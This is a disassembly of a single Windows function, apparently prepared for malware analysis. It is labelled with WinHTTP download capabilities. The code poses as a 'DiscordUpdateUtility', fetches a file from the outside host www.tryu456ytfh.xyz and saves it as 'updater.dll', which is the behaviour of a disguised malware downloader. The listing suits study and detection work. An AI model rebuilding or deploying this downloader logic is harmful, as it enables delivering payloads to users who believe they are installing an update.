Function at 0x140001470
Capabilities:
Check http status code
Initialize winhttp library
Prepare http request
Read http header
Receive http response
Write file on windows

Disassembly:
push rbp
push rdi
push r12
sub rsp, 0x480
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x460], rax
xor edi, edi
mov dword [rsp + 0x50], 4
xor r9d, r9d
mov dword [rsp + 0x44], edi
xor r8d, r8d
mov dword [rsp + 0x40], edi
xor edx, edx
mov dword [rsp + 0x48], edi
lea rcx, str.DiscordUpdateUtility_1.0.0
mov dword [rsp + 0x54], 4
lea rbp, [rdi - 1]
mov dword [rsp + 0x4c], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r12, rax
test rax, rax
jne 0x1400014e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000177a
mov r8d, 0x50
mov qword [rsp + 0x4b0], r13
xor r9d, r9d
lea rdx, str.www.tryu456ytfh.xyz
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r13, rax
test rax, rax
jne 0x140001525
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor ecx, ecx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x140001772
mov dword [rsp + 0x30], edi
lea r8, str._gtre43fgd.asp
mov qword [rsp + 0x28], rdi
lea rdx, [0x140003688]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, r13
mov qword [rsp + 0x470], r15
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r15, rax
test rax, rax
jne 0x140001568
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001740
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], edi
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x140001595
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001740
xor edx, edx
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x1400015af
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001740
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x20000013
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
jne 0x1400015e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001740
cmp dword [rsp + 0x44], 0xc8
jne 0x140001740
mov qword [rsp + 0x30], rdi
lea rcx, str.updater.dll
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140001632
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001740
mov qword [rsp + 0x4a0], rbx
lea rax, [rsp + 0x54]
mov qword [rsp + 0x4a8], rsi
lea r9, [rsp + 0x48]
mov qword [rsp + 0x28], rdi
xor r8d, r8d
mov edx, 0x20000005
mov qword [rsp + 0x478], r14
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
je 0x140001680
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, dword [rsp + 0x48]
jmp 0x140001686
mov r14d, 0x300000
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, r14d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x1400016b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rsi, [rsp + 0x60]
mov r14d, 0x400
lea r9, [rsp + 0x40]
mov r8d, r14d
mov rdx, rsi
mov rcx, r15
mov ebx, edi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000171d
nop dword [rax]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14000171d
cmp ebx, eax
jae 0x140001705
nop dword [rax]
lea r9, [rsp + 0x4c]
mov qword [rsp + 0x20], rdi
mov r8d, eax
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
add ebx, dword [rsp + 0x4c]
mov eax, dword [rsp + 0x40]
cmp ebx, eax
jb 0x1400016e0
lea r9, [rsp + 0x40]
mov r8d, r14d
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x1400016d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14, qword [rsp + 0x478]
mov edi, 1
mov rsi, qword [rsp + 0x4a8]
mov rbx, qword [rsp + 0x4a0]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov r15, qword [rsp + 0x470]
cmp rbp, 0xffffffffffffffff
je 0x140001772
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x4b0]
mov eax, edi
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140001830
add rsp, 0x480
pop r12
pop rdi
pop rbp
ret